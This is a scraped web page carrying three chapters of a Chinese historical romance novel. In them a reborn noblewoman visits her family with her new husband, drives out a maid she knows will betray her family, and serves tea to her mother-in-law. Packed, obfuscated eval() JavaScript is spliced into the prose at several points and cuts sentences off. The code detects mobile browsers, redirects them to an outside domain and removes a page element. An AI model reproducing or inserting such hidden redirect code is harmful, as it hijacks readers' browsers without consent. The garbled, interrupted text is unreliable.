p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关于前世,她的记忆零零碎碎并不大完整,可她知道自己的结局,也记得自己死去时的场景。 若前世她真给人做了妾,那人会是谁呢? 思忖良久,她轻叹了口气,不再去想。 罢了,也不要紧,毕竟以她那时的身子,或是根本挨不到给人做妾的时候。 此时,大理寺公廨。 因来得频,李寅轻轻松松便被放了进来,一路至顾缜办公的屋子,就见幽幽烛光自窗扇里头透出来。 他皱了皱眉,上前敲门,自报了身份后,便听得一声“进来吧”,推门就见自家主子正坐在案前翻看卷宗。 “世子爷,您起来了。”李寅将装着衣裳的包袱搁在一旁的红漆圆桌上,走近几步,却瞧见顾缜眼底的一片青黑,“您这,莫不是一宿未眠?” 顾缜疲惫地揉了揉眉心,算是默认了。 李寅担忧道:“一会儿天亮您还得陪大少奶奶回门,如此,身子哪里受得了?还有些时候,不若您休息一会儿再回府去。” “不必了。”顾缜放下案卷。 并非他不想睡,而是只消一闭眼,脑中便浮现些许情景,不由燥乱得很,难以入眠。 且今日又许诺了范氏陪她回门,时间金贵,既然睡不着,便索性多看看案卷,从中寻些或被忽略的蛛丝马迹来。 “回门礼可都备好了?”顾缜问道。 “备好了。”李寅道,“按世子爷吩咐的,一件不差。” 顾缜低低嗯了一声,倏然想起什么,又问,“大少奶奶昨日去敬茶时,可还算太平?” 李寅愣了一愣,迟疑片刻,才答。 “爷,其实昨日大少奶奶称病,并未前往正厅。” 4. 回门 顾缜抬眸看来,语速快了几分,“可曾请了大夫?” “请了。”李寅答,“夫人派了刘大夫前去给大少奶奶诊脉,过后小的特意去打听了,大少奶奶没甚大碍,吃了自个儿带来的药,到了晚间气色便好了许多。” 顾缜缓缓颔首,蹙眉沉默片刻,起身利落地更衣洗漱,后草草用了早膳,便一匹快马回了定北侯府。 然还未踏进府门,就见等候多时的门房快步上前,恭敬道:“世子爷,夫人派人来说,教您回来后,赶紧去她院中一趟。” “夫人有要事?”顾缜问道。 门房摇头,“这,小的便不知了。” 顾缜估摸着时辰,觉得应当来得及,转头吩咐李寅去葳蕤苑告一声,让范氏半个时辰后过来,他会在府门口等她,说罢便调转方向往松茗居而去。 甫一入屋,就见母亲苏氏正疲累地坐在小榻上,由婢子揉着额头,抬眼看见顾缜,苏氏双眸一亮,紧接着苦下一张脸,唤了声“儿啊”,“你可算回来了。” “母亲可是头疼不适?” 婢子端来把圆凳,顾缜在苏氏跟前坐下。 “我哪里能不头疼,还不是你那新过门的媳妇闹的,昨日故意称病不去敬茶,令我在众人前颜面尽失。”苏氏语气中满是委屈,竟忍不住哽咽起来,“顾家这是造了什么孽,娶进这般子丧门星。” “无凭无据,母亲慎言!”顾缜微微沉声,“何况刘大夫已下了诊断,范氏不一定是在装病。” “你也说是不一定。”苏氏坚持道,“沈嬷嬷都同我说了,她一早起来分明好好的,没到那走不动道的时候,怎就突然告病说晕眩不止了,再者她本就身子不好,若要装病岂非轻而易举。” 苏氏顿了顿,又道:“缜儿,你不也不喜她吗?不然也……” 虽说她这儿子心思深,素来让人捉摸不透,但毕竟是自己腹中出来的,苏氏对顾缜还是有几分了解,他为人端方正直,那范玉盈既已过门,无论好坏,他皆会以正妻之礼好生相待,喜恶皆藏在心底。 虽表面不动声色,可实则对那范氏作何想法便不得而知了。 苏氏这话遮遮掩掩,可顾缜一下便明白过来,为免误会,索性直截了当道:“范氏体弱,成婚当日又受了累,儿子这才未同她圆房,母亲不必多作他想。何况儿子与范氏不过才相处了一日,尚不清楚她的为人秉性,不可妄下定论。” 他是大理寺卿,办案时尚讲求凿凿有据,有案可嵇,对他的妻子,亦该如此,坊间传闻不可尽信,眼见方才为实。 是好是坏。 他会亲自了解他的新婚妻子究竟是个怎样的人。 苏氏也不知儿子这一板一眼的性子究竟像了谁,她仍忍不住争辩,“但那范氏若真没做过,也实难无中生有吧。你父亲常年不在京城,我除却你也没什么倚仗,与其等着那范氏将来把定北侯府搅得鸡飞狗跳,祸祸到我头上,不若我先发制人,将她治得服服帖帖,教她不敢……” 顾缜蹙眉打断,“这些话是二婶说的?” 苏氏抬眸见自家儿子面容沉肃,颇有些心虚地避开视线。 “母亲明知二婶是何盘算,为何还要听她所言。” “我……”苏氏百口莫辩。 顾缜在心底低叹一声,明白自己的母亲并非那恶毒之人,只是心性单纯了些,加之过分担忧那范氏不是个好的,这才被二房趁虚而入,几句话便轻易煽动了去。 他正襟危坐,温声劝道:“范氏再如何,只消还未做出出格之事,母亲就不该苛责于她,她而今是儿子的正妻,相较于二婶定是与母亲更亲,母亲想想,您是该听信外人挑拨,欺辱自己的儿媳,让人平白看了笑话,还是该与儿媳一道,齐心和睦,一致对外?” 见苏氏抿唇沉思起来,顾缜晓得这是听进去了,默了默,起身行礼,“儿子还需陪新妇回门,便先告辞了。” 苏氏看他一眼,讷讷点了点头。 那厢,出了葳蕤苑,青黛一路替自家主子打着伞。 立秋后的气候最是反常,今儿便是如此,日头灼灼挂于天顶,都能将人晒化了,也算是见识到了这秋老虎的威力。 及至侯府正门,马车已然在等,可青黛四望之下,却并未瞧见新姑爷的身影,不由感叹还是来得太早了些。 分明说是半个时辰后再出来,但这会儿才过了约莫一炷香的工夫,可谁让她家姑娘已然迫不及待回范府去,一得了消息便催促着她们快些收拾东西。 此时,李寅正满头大汗指挥着下人将回门礼往车上搬,转头瞧见范玉盈,惊诧之下慌忙上前,“大少奶奶怎这么早便来了,世子爷这会儿还在夫……还在忙呢。” 范玉盈敏锐得捕捉到那个“夫”字,隐约猜得几分,但仍佯作不知,轻笑道:“无妨,只当是来外头透透气。” “姑娘,这天儿可不好透气,一会儿日头再高些,莫将您给晒坏了。”紫苏提议道,“要不您先上车吧。” 李寅也附和,“是啊夫人,这也没坐的地儿,小的也怕站久了累着您,您还是先去车上坐着。” 想到她那婆母定有一肚子怨气要吐,顾缜恐一时半会儿也赶不来,范玉盈颔首道了声“好”。 车夫闻言自里头拿出把矮凳,范玉盈踩上去时,下意识伸手去抓青黛,可掌心触及的却非纤细的手臂,滚烫的热意包裹住她的柔荑时,她秀眉微蹙,转头看去,正落入男人漆黑深邃的眼眸里。 “夫人。” 范玉盈听他轻轻唤了自己一声。 她愣了须臾,没想到他回来得这么快,然朱唇开阖,对应的“夫君”二字却实在吐不出口,便垂眸依着昨日那般叫了声“世子爷”。 顾缜低低应了,扶她上了马车。 范玉盈在车上坐定,紧接着车帘又被掀开,顾缜亦坐了上来。 她下意识垂下眼去。 顾缜薄唇微抿,对妻子这般避他不及的反应已是见怪不怪,只在她对侧落座。 马车幽幽向前驶去,车内一片寂静。 范玉盈享受着这片安宁之际,就听那低沉醇厚的嗓音倏然在耳畔响起。 “听闻昨日夫人身子有恙?” 范玉盈如今将梦与现实分的开,也已对这声儿习惯几分,但听得此言,她仍不由秀眉蹙起,猜想顾缜这话莫不是想向她兴师问罪。 毕竟可想而知,适才她那婆母定说了她不少“好话”。 她也不惧,神色如常地看去,“昨日世子爷走后,妾身便觉脑袋晕眩得厉害,这才没能前去敬茶。” “今日可好些了?” “已无恙了。” 顾缜点了点头,又道:“你如今已是定北侯府的人,平素若要吃什么药,尽管吩咐府内管事,无需拘谨。” 范玉盈抬眸看他一眼,心叹她那婆母说的倒还不少,连她的药是从范府带来的都说了。 而今顾缜特意嘱咐这话,莫不是怕旁人晓得,道他侯府抠搜小气,连一些药材都舍不得。 “至于敬茶一事,你昨日未去倒也好,之后我再同你一道去,好歹全了这礼数,以免落人口舌。” 范玉盈皱了皱眉,听得有些心烦,自打到了这定北侯府,听到的是左一个规矩,右一个礼数。 他既如此懂礼数,昨日怎还抛下她一人去面对那些“豺狼虎豹”。 “多谢世子爷。”她强忍着不虞开口。 顾缜颔首。 他将想说的话都说了,自认虽做的不够好,但也算努力尽了丈夫的责任,见范玉盈说罢,便阖眼小憩,他亦不再言语。 马车颠簸,范玉盈纵然困倦,也没能真的睡着,也不知过了多久,车停了,外头响起李寅的提醒声,她这才装作迷迷瞪瞪般睁开眼。 顾缜先行下了车,随后将范玉盈小心地扶了下来。 一落地,范玉盈便见范府门口等了一大帮子人。 “小婿见过岳丈大人。” 站在最前头,着湛蓝常服,年逾四十,周身透着一股刚正文人气的正是范玉盈那身为工部侍郎的父亲范仲丞,见得顾缜,他疾步上前,伸手将小女婿拦住,恭谨客气道,“世子快起,府内已备了薄席,就等世子与小女一道入席了。” “辛苦岳丈大人。” 顾缜将礼数做得极足,还不忘一一问候后头的范家几人。 待他言罢,范玉盈才幽幽上前,福身唤了声“父亲”。 范仲丞深深看了女儿一眼,薄唇抿了抿,末了,却只“诶”了一声,便转而招呼顾缜入府。 翁婿两人行在前头,其余人皆在后头跟着,待拉开些距离,一人靠过来,挽住范玉盈的胳膊,贴近在她耳畔问道:“在侯府可还适应?” 范玉盈看向这个面容与自己有六七分相似,可眉眼却带着几分英气的二姐范玉融,淡声答“尚可”。 “看来是不大适应了。”范玉融无奈地笑起来,不忘提醒,“纵然不适应,也且得收收你的臭脾气,可晓得。” “嗯。” 听得这声似有些敷衍,却平和的“嗯”,范玉融仍有些不大习惯,本处处爱同她顶嘴的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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范玉融见状一声长叹,在这剑拔弩张之际及时按住范承宥,又转向范玉盈,摇头道:“本以为你改了性子,怎还如此牙尖嘴利,低声些,你如今嫁了人,让夫君和婆家知晓你这般刁蛮,有何好处。” 她担忧地往前头看了一眼,见她那妹夫与父亲已然走远,这才松了口气,料想这边发生的事那头当是没有听见。 范仲丞的确未听见,可他身侧的顾缜却因习武耳力极佳,他暗中探听着后头的动静,薄唇渐渐抿成一线,末了,却也只眉头皱了皱,便神色如常地应答岳丈的话。 午饭罢,范仲丞带着两个女婿和幼子前往后花园品茗下棋,范玉盈则以更衣为由回了自己出阁前住的院落。 当然,更衣是假,她这次回门有要事要办。 入了采薇轩,便有一婢子迎面而来,福身罢意味深长地同范玉盈对视一眼,范玉盈抬手退了屋内众人。 她在小榻上坐下,问道:“红芪,查得如何了?” “回姑娘,奴婢已寻着了。” 红芪和紫苏白芷她们一样,亦是范玉盈的贴身侍婢之一,之所以未在成亲当日随她一道去定北侯府,是因范玉盈有事交代于她,令她盯着府内动静,尤其是她那龙凤胎的弟弟范承宥。 “果如姑娘猜测的那般,灶房有个打杂的小婢子,这几日给小公子院里送饭,不知怎的,停留的时间越来越长,奴婢向小公子院里的阿忠打听,说是小公子很喜那小丫头,像是得了知音般总拉着她一道看廊下养的那些黄莺雀儿。” 这一世,果然也…… 范玉盈凝眉,在心底暗骂了范承宥一句“蠢货”。 “那婢子可是叫月莺?” 红芪摇了摇头,“那婢子名唤兰儿,是姑娘出嫁的前几日才来的。” 兰儿…… 怪不得,范玉盈明白过来,她先头派人寻一个叫月莺的女子,却是毫无线索,如今想来那当是后头范承宥给她改的名。 红芪不知自家姑娘为何寻这个兰儿,亦不知姑娘怎能未卜先知,知晓这个兰儿居心叵测,有意勾引小公子,但跟了范玉盈这么多年,红芪清楚,她家姑娘定有自己的缘由。 “奴婢适才命人给厨房传话,让送碗润肺的百合银耳汤来,不出意外,来的当就是那兰儿。” 范玉盈笑着颔首,欣赏于红芪的聪慧,这厢话音才落,外头就有人扣门,道汤送来了。 红芪对着范玉盈一点头,神色自若前去开门,没一会儿,放了一约莫十四五岁的小丫头入内。 那丫头一副怯怯的模样,进屋后,好奇地抬眸四下打量。 正是这一抬眸,令范玉盈一瞬间抿唇,攥紧了掩在袖中的手,她本对范承宥前世纳的这个妾无甚太大的印象,可隔了两世,再见着她,模糊的面容却陡然清晰起来。 是她,她绝不会认错。 一股子杀意难以抑制地自心底深处涌出。 因前世正是这丫头,在太子之案爆发后,逃出范家,呈上所谓范家与太子来往密谋,意图以巫蛊之术谋害景贞帝的信笺,坐实太子叛乱的事实,将范家彻底推向必死的深渊。 5. 风波 前世几个月后,范承宥提出将那小丫头纳入房中时,范仲丞并未太过反对,毕竟自范老夫人死后,范承宥作为孙儿也规规矩矩守孝了三年。 旁的大户人家的公子,到了范承宥这个年岁,身边早也该有几个开了脸的丫鬟,供主子晓事,可自打范老夫人去后,范家既无主母关心操持,范承宥的几个姐姐们也不好替弟弟张罗,便硬生生拖到了范承宥十七岁。 范玉融后听闻此事,倒是提过异议,说范承宥素日爱待在屋中戏鸟,怎突然看上这丫头,莫不是个狐媚不安分的。 但看范承宥实在喜欢,到底也不好多说什么,亲眼见过后,觉得高低一个丫头罢了,娇滴滴怯生生,相貌也不算出众,便未怎么放在心上。 可谁料,这丫头会那般厉害! 惑得范承宥整日与她玩乐,是一点书也不愿看了,气走了好几个范玉宁请来的先生不说,甚至混账到提出要与李家三姑娘退亲,纳那丫头为妾。范仲丞作为父亲,却素日忙于公务,不大管儿女事,范玉融哪里忍受得了弟弟这般荒唐,进宫与大姐范玉宁一商量,便气势汹汹要将那丫头扭送出府,不想范承宥跟疯了一般,竟以自残的方式与姐姐对抗。 思至此,范玉盈在心底一声冷笑,那时的范承宥绝想不到,他拼死维护的却不过是外人为了对付范家,对付太子而设置在他身边的棋子罢了。 范玉盈垂睫掩下眸底的阴鸷,半倚在引枕上眼看着那丫头靠近。 在她端出汤碗搁在榻桌上后,范玉盈懒懒抬眉,吐出一句,“给我沏杯茶来。” 兰儿愣了一愣,只得恭敬地道了声“是”,转身就见红芪已在一旁默默沏好了茶,示意她送过去。 她端起茶盏折返,还未站定,一只纤白的柔荑就已幽幽伸了过来。 兰儿只得低身将茶盏奉上,然不等她撒手,却听“嘶”的一声,紧接着茶盏被打翻,滚烫的茶水骤然向她泼来。 “死丫头,笨手笨脚,怎敢伤了主子!” 兰儿痛呼一声,跌坐在地,胸口被烫得火辣辣的疼,几乎要脱下一层皮来,她分明清楚地瞧见是三姑娘自己用手腕去贴盏壁,怎最后成了她的不小心。 可她到底深谙在府内当差之道,下一刻,强忍着钻心的疼,慌乱跪倒在地正欲告罪,却听正查看三姑娘伤势的红芪折首怒瞪着她道。 “来人,将这丫头赶出府去,找牙子发卖了。” 兰儿面露错愕,根本来不及辨解,屋外已有人听见动静推门而入,闻得此言,手脚麻利将她压了出去。 范玉盈看着略有些泛红的腕子,与红芪对看一眼,这般子事类似的她从前做过不少,虽好些年不曾做过了,但与红芪依旧配合得十分默契。 这丫头是个隐患,一日都多留不得,不然待她彻底蛊惑了范承宥那个傻子,再想将她赶出去便不容易了。 想起那丫头痛得发白的面色,范玉盈眸中闪过一丝厉色。 若非杀不了她,岂是泼她一盏热茶这么简单。 范府花园。 凉亭内,顾缜在连让了七八手后,终究还是没能让对面人寻得活路,他无奈落下最后一子,抬首淡声道:“二姐夫,承让。” 姚睦额汗连连,勉笑了两下,便顺势夸赞起顾缜来,末了,问:“世子棋艺精湛,不知师出哪位名家?” “二姐夫过誉了。”顾缜谦逊道,“我这棋艺算不得什么,不过年少时同孟先生学了些皮毛。” “可是孟子绅孟国手?” 姚睦面露惊喜,可很快,不知想起什么,神色又黯淡下去。 “世子不知,我仰慕孟老已久,只可惜身份低微,没有资格前去拜访……” 见得姚睦这遗憾又落寞的模样,顾缜双眸微眯,静静打量他片刻,正欲接话,就听一道低沉的嗓音响起,“没有资格便愈发努力上进一些,能力才学够了,将来见了孟老才不至于被看低。” 一侧,始终沉默饮茶的范仲丞抬首,眸光锐利地扫向他面前的二女婿。 姚睦闻言尴尬地笑了笑,道了句“父亲说的是”,便不再言语。 倒是范承宥出声鼓励道:“二姐夫这般勤勉,相信将来定会如愿见到孟大家。” 几人说话间,园内倏然喧嚣起来,隔着池塘,远远传来些叫嚷声。 范仲丞眉头一皱,不虞地提声问道:“何事如此吵闹?” 凉亭外的家仆快步过来回话,“回老爷,是一个犯了错的奴婢,不愿被赶出府去,这才跑到园子里大吵大闹。” 毕竟是女儿回门的日子,范仲丞不欲将事情闹大,轻轻一抬手,“将人带下去。” 可他还未说罢,那家仆口中的奴婢再一次挣脱束缚跌跌撞撞跑了过来,周遭几个气力大的家仆见状忙将人按住,见她乱喊,一把捂住她的嘴。 可那声“公子救我”还是清晰地落入了范承宥耳中。 范承宥定睛看去,大喊一声“等等”,快步下了凉亭,停在那奴婢跟前,仔细辨认罢惊诧道:“兰儿,你这是怎么了?你身上……” “公子,奴婢不是故意的,奴婢听命给三姑娘奉茶,不意烫着了三姑娘,三姑娘一气之下将茶水泼到奴婢身上,要将奴婢赶出府去。”兰儿像得了救星,扑倒在范承宥脚下,扯着他的衣角哭得梨花带雨,“公子,您帮奴婢求求情,奴婢不想走,万一被转手卖到那青楼楚馆,奴婢这辈子该怎么活啊。” 凉亭内,顾缜默默听着,蹙眉神色微变。 而范承宥,登时怒意横生,“那范……” “宥儿!”一声厉斥打断了他。 “事情如何,尚还没个定论,你且先关切关切你姐姐的伤势。” 范承宥看着父亲阴沉的脸,再用余光扫向顾缜,只得低头,咬牙吞下本要说的话。 范仲丞在心底一阵摇头,随即吩咐,“让二姑娘去三姑娘院里瞧瞧。” 那厢,本想趁着回娘家,好生查查府内账册的范玉融听得消息,匆匆赶到妹妹所在的采薇轩。 “怎的了,好端端的,如何烫了手。” 她急切检查了范玉盈的伤势,方才安下心,却又忍不住道:“这也不严重,怎生发了那么大的脾气,你可知,你底下人没能抓牢那丫头,都让她闹到园子里去了,你同我说说,一个灶房的帮厨丫头罢了,你这是哪里瞧她不顺心?” 花园发生的事,已有婢子跑来报给了范玉盈,但她并不在意,仍淡然一笑,反问道:“二姐姐这几日想是未回过家吧?” 她说罢,看向红芪。 红芪会意,上前几步冲范玉融福了福,“前几日,奴婢无意间瞧见那丫头与小公子举止亲昵……” 范玉融哪会听不懂这言外之意,她迟疑道:“可有证据,或只是你多心?” “二姐看范承宥,满心满眼都是他院里的鸟儿,何时对府里的婢子们生过一丝一毫的兴趣,这丫头着实厉害得紧呢。”范玉盈不紧不慢道,“惑主的东西留不得,更何况范承宥那家伙心志不坚,素日父亲又不大爱管束他,若让那丫头钻了空子,也不知会惹出什么祸事来,不如趁此机会收拾了她。” 前世的事范玉盈不可能一五一十同姐姐说,能想到的合理的由头也只有这个了。 毕竟她借烫伤把人赶出去,保不齐过两日范承宥又傻乎乎将人带回来,只有她常回娘家的二姐站在她这一头,才好彻底处理掉那丫头。 亦能让她二姐姐防着将来对范承宥居心不轨的。 她说罢,一抬首便见范玉融正眼也不眨地盯着她瞧,“二姐这般看着我做甚?” 范玉融笑起来,“我从前只道你孤傲,对家中事充耳不闻,不想你心思这般细致,且你向来与阿宥不对付,如今竟还为他考虑起来。” “谁为他考虑了,我是为了范家,为了大姐姐。”范玉盈别了别嘴,稍稍撇开眼。 她的确与范承宥不对付,似乎生来就势同水火,三年前出了祖母之事后,范玉盈一直觉得范承宥恨毒了她。 可为何…… 范玉盈脑海中不自觉浮现前世之景,范承宥慌乱挡在她身前,分明不会拳脚,但还是拼命挥舞着刀,阻止官府的人将她带走,直到最后,被射来的一支飞箭贯穿咽喉。 临死前,他口吐鲜血,却仍艰难地转头看向她,努力张嘴,无声地喊出“快走”。 范玉盈垂眸若有所思,她一直不明白范承宥为何要救自己。 直到现在依然不明白。 “好好好,不是为了阿宥。”范玉融未拆穿妹妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469882|185524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的口是心非,将话锋一转,“只你这法子实在不好,猜疑归猜疑,你并无证据,这般贸然处置了那丫头,传出去,外头恐又要道你刁蛮跋扈,尤其是你那夫君……” 范玉盈不耐地皱了皱眉,“姐姐怎老是提起顾缜,听着便叫人烦。” 范玉融语重心长道:“你这婚事虽说来得突然,可到底是高嫁,自比不得你二姐我在姚家的处境,这回我想法子遮掩遮掩,将那丫头赶出去,往后你做事可得再谨言慎行些。” “二姐夫很好吗?”范玉盈挑眉,顺势道,“我瞧着是不如何的,根本配不得二姐你,不若二姐休了二姐夫,再寻个更好的。” “莫开这般子玩笑。”范玉融在妹妹鼻尖刮了刮,“你二姐夫虽比不得太子殿下和世子,尚未有功名在身,也非大富大贵,可对我却是一片赤诚真心。” 赤诚真心…… 范玉盈在心底讽笑一声,当真如此吗? 若真如此,前世她二姐姐怎会在范家出事后的第三日就落了那么个悲惨的结局。 然她二姐一个既醮之妇,不必受母家牵连,原可以躲过这场浩劫。 且她适才的话也并非玩笑。 姚睦配不上她二姐,他姚睦和姚家该得的应是被千刀万剐的下场! 范玉融哪晓得妹妹在想什么,只继续唠叨,“再过几日便是中秋宫宴,你头一回入宫参宴,可得先学着些规矩,莫教人看了笑话,到时给大姐姐丢人……” 范玉盈心思全在旁处,敷衍地应了几声。 范府今日晚膳用得早,饭后又坐了大抵一炷香的工夫,趁着天色未晚,范玉盈同父亲姊姊辞别,随顾缜动身回定北侯府。 这回,她将红芪一道带上了。 临上马车前,眸光扫见角落里的范承宥冷冷凝着她,范玉盈回以一瞪,转而钻入了车厢。 顾缜紧接着进去时,恰巧看见范玉盈微扬起的右手腕上被烫红的一小片。 或因着她皮肤实在太白,才使得这块红得格外扎眼,可顾缜很清楚,这伤势并不严重,抹了药,明日便瞧不出来了。 一点小伤,为何她还要如此苛责那婢子,甚至一怒之下要将人赶出府去。 顾缜并非那妄下定论之人,待马车开出一阵,他静静道:“夫人可有话要与我说?” 范玉盈看他神色端肃,明白他是何意思,却只笑了笑,“世子爷想问妾身什么?” 顾缜看着范玉盈的笑靥,心骤然沉了几分,他这妻子心知肚明,却似乎并无丝毫与他解释的意思。 究竟是不想解释还是事实如此,无法辩解。 大婚前,顾缜并非没有命人调查过范家,可如今亲自感受,才发现这范家众人间的关系比他想的还要复杂。 父亲与女儿的关系疏离淡漠,弟弟厌恶姐姐,且刚入府时,范玉盈对姐夫和弟弟说的话,竟满是无礼与针锋相对。 “没什么。” 顾缜稍稍闭了闭眼。 他到底不希望他的妻子和外间传闻的一般,蛮横恶毒,苛责下人。 听说她十二岁那年,自城郊庄子上回府,但凡在她面前顶撞一句的,皆被她命人用柳条抽打得浑身是伤。 此事泄露出去,范家三女的恶名便逐渐传播开来。 他不愿相信,可,若是不得不信呢…… 范玉盈将顾缜的反应看在眼里,那丫头企图勾引范承宥一事,她二姐能知晓,旁人却不行,因她一开始要的就是让人知道,兰儿是招惹了她这个刁蛮恶毒的范家三姑娘才被赶走的。 如此,才能让企图设计范家的人放下戒心。 至于顾缜,他也不是没听过她远扬的“好”名声,当一开始便对她没甚好印象,就算加上这桩,也无太大的差别。 范玉盈暗暗自嘲一笑。 没想到有一日她的声名狼藉也能派上用场。 小半个时辰后,马车在侯府门前停下,范玉盈已有些倦累,与顾缜一道回葳蕤苑的路上本想着一会儿沐浴罢就早些睡下,不料才坐下不久,松茗院就来了人。 “夫人听闻世子爷和大少奶奶回来了,想着择日不如撞日,宜早不宜迟,趁着这会儿老爷太太们都在,让大少奶奶前去认认人,顺道将昨日没敬的茶补上。” 6. 春光 那来传话的奴婢说罢,范玉盈下意识看向顾缜,却发现顾缜亦朝她看来,眼神里带着无声的问询。 范玉盈思忖片刻道:“母亲既派了人来,妾身自没有不去的道理。” 顾缜颔首,站起身,“我随你一道去。” 范玉盈等的便是他这话,她虽不大愿意去,可那是早晚的事,她压根逃不掉,既然顾缜先头就说了要陪她,趁着今日他在,那头纵然想作妖,也得收敛些。 此时,侯府正厅。 二夫人方氏啜了口茶水,目光有意无意往外头瞥,打趣道:“要说新妇这病,好得也真够快,前一日病得都起不了身,第二日便有了精神回门,这会儿不会又过不来了吧……” “谁知是不是真病呢。”顾瑶在后头碎碎念。 她这声嘟囔令厅内静了几分,片刻后,三夫人笑着开口:“新妇身子不好,是打在闺中便众所周知的,成婚那日礼节繁琐,一时累着了也正常。” 适才并未阻止女儿开口的方氏闻言忙接话,“三弟妹说的是,我也这般觉着,只……” 她看向坐在上首的大夫人苏氏,“大嫂可得让刘大夫给范氏好生调养调养,身子底子好了,将来才好为咱顾家生儿育女不是。” 她说着,目光扫向坐在身侧的二老爷,二老爷却是不为所动,他最是讨厌妇人间的斗法,眼下满心想着今夜终于可去宋姨娘处快活快活。 方氏在心底暗骂了一句,她这没出息又不思进取的夫君是指望不上了,她而今只盼着唯一的儿子能官运亨通,平步青云,替她好生争一口气。 若非如此,她也不会想尽办法让家中侄女嫁入定北侯府,以此为他铺路。 她转而去逗弄乳娘怀里约莫两岁的小姑娘,“咱们萱姐儿也想多要些弟弟妹妹吧。” 苏氏本因晨时顾缜的一席话而对方氏的挑拨离间没甚太大反应,可听至此,却仍忍不住蹙了蹙眉心。 思量间,两位新人到了。 厅内众人又与昨日一般,暗暗伸长了脖颈,往外头看去。 廊庑下挂着的一排大红灯笼散发着朦胧的光,两人一前一后穿院而来,然顾缜几乎大半个身子挡住了后头人,加之新妇微垂着脑袋,一时看不清面容。 顾婷与妹妹顾瑶相视一笑,垂首耳语了什么,语气中带着几分嘲意。 然很快,姐妹二人便笑不出来了。 甫一踏进灯火通明的正厅,新妇的面容便赫然清晰起来,她微微抬眸打量四下,旋即跟着夫君一道往两边一一施礼。 分明穿的也不是什么鲜妍夺目的衣裙,不过是藕荷对襟妆花长褙子,搭黛蓝牡丹绣花百迭裙,再淡雅不过,可偏偏生得一双顾盼生姿的翦水秋瞳,眉似新月,琼鼻玉柱,肌肤更是白若凝脂,吹弹可破。 因着身姿纤细,行动间若弱柳扶风,袅袅婷婷。 众人皆被新妇出众的容色惊了一惊,唯苏氏坐于上首,倒还算平静。 大婚第二日敬茶未成,她从正厅回来,沈嬷嬷便已告诉过她,范氏生得姿容绝艳,故而她并未忧心儿媳相貌丑陋。 想来也是,范家三女,长女和二女皆是京中宴席的常客,两人已是顶好的皮相,作为亲妹妹的范氏没道理是个见不得人了。 不过是长久不出门加之坏了名声,这才使得外间流言纷纷。 但美归美,平心而论,苏氏对这个儿媳实在喜欢不起来,一则是她那坏的不能再坏的名声,二则这般病弱,只怕将来难以生养。苏氏一直视自己这唯一的儿子为骄傲,故而这两年替顾缜挑选正妻的眼光未免高了一些,可谁知最后娶回来的,竟会是这个几乎全京城无人问津的范玉盈。 明明她的缜儿值得更好的! 苏氏越想越不甘心,然转而瞧见二夫人方氏在下头颇有些挂不住笑的模样,心底的痛快又很快盖过了那份不满。 她也不是傻子,未必不晓得这么多年方氏表面恭恭敬敬地喊她大嫂,内心里却是嫌弃她一点不懂管家算账,丝毫不服她的,老太太还在京时也是处处给她下绊子。此番一直在她跟前诋毁范氏,无非是欲令她们婆媳不睦,将来才好让他们方家女顺顺利利地嫁进来,替他家缜儿生个儿子,顺理成章霸占了整个顾家。 可她哪能想到,范氏甫一出现,便先用那过人的容貌狠狠打了她的脸。 苏氏愈觉儿子那话说的不错,纵然她再不满意范氏这声名狼藉的儿媳,那也是自家人,怎能窝里斗,让外人借此机会称心如意。 众人打量范玉盈时,范玉盈亦悄然观察着厅内众人。 正当她沉思之际,耳畔男人清冷低沉的嗓音响起,“先同母亲敬茶,一会儿再将府上人一一介绍给你。” 范玉盈点了点头,视线复又回到她那婆母苏氏身上,她没想到她这今岁应是三十有八的婆母竟生得这般年轻貌美,看起来也不过三十上下罢了。 她的眉眼与顾缜生得很像,虽未见过她那远在边塞的公爹,但范玉盈觉着顾缜这姣好的容貌当就是来自母亲。 她缓缓在丫鬟们摆好的蒲团上跪下,端起茶盏奉到苏氏前头,“母亲喝茶。” 手上的茶水很快被接了去,耳畔响起一声温柔的“起来吧”。 范玉盈由青黛小心扶起来时,尚有些意外。 她本想着自己昨日称病未来,苏氏高低要为难她一回,可谁料竟如此轻易就放过了她,按理不应该,毕竟她这婆母都能在大婚日让个嬷嬷来给她立规矩。 一头雾水之际,苏氏已然伸手将她轻轻拉了过去,在她还未反应过来时,一枚沁凉的翡翠玉镯滑入了她纤细的手腕。 “你既嫁入顾家,便是顾家的人了,母亲也没什么好给你的,这枚玉镯是母亲当年的嫁妆,就赠予你做见面礼。”苏氏说罢,看向身侧的婢子,自她手中接过一厚厚的红封递予范玉盈,“你父亲虽常年不在京城,但听闻你们的婚事,亦是欢喜不已,这也算是你父亲的一点心意。” 苏氏的这番话,算是彻底认下了范玉盈这个儿媳,诧异的不止范玉盈,还有坐在底下的二房。 方氏攥紧了手上的帕子,恨的牙痒痒,不晓得才过了一夜,原说着要好生在新妇面前立威的苏氏怎就彻底变了态度。 苏氏一向头脑愚蠢极好糊弄,怕又是谁在她面前说了什么。 “儿媳谢过父亲、母亲。” 苏氏颔首,先是指了指坐在右手边的妇人,“这是你二叔二婶,后头的是你大妹妹婷儿和三妹妹瑶儿。” 范玉盈上前,恭敬地向二老爷和二夫人福身行礼,顾婷顾瑶两姐妹同她们母亲一样,始终盼着表姐成为世子夫人,故而对范玉盈极其不喜,但奈何顾缜面无表情地怵在一侧,令她们也只得规规矩矩同范玉盈施礼,唤声大嫂。 方氏道行深,自不像两个孩子,面上藏不住事儿,她很快笑着从乳娘手中接过孩子,同范玉盈介绍道:“这是萱姐儿,你二弟的孩子,你二弟还在公廨未归,二弟妹又有了身子,月份大了,故而今日没有过来。” 说着,她哄着怀里粉雕玉琢的小姑娘叫大伯母。 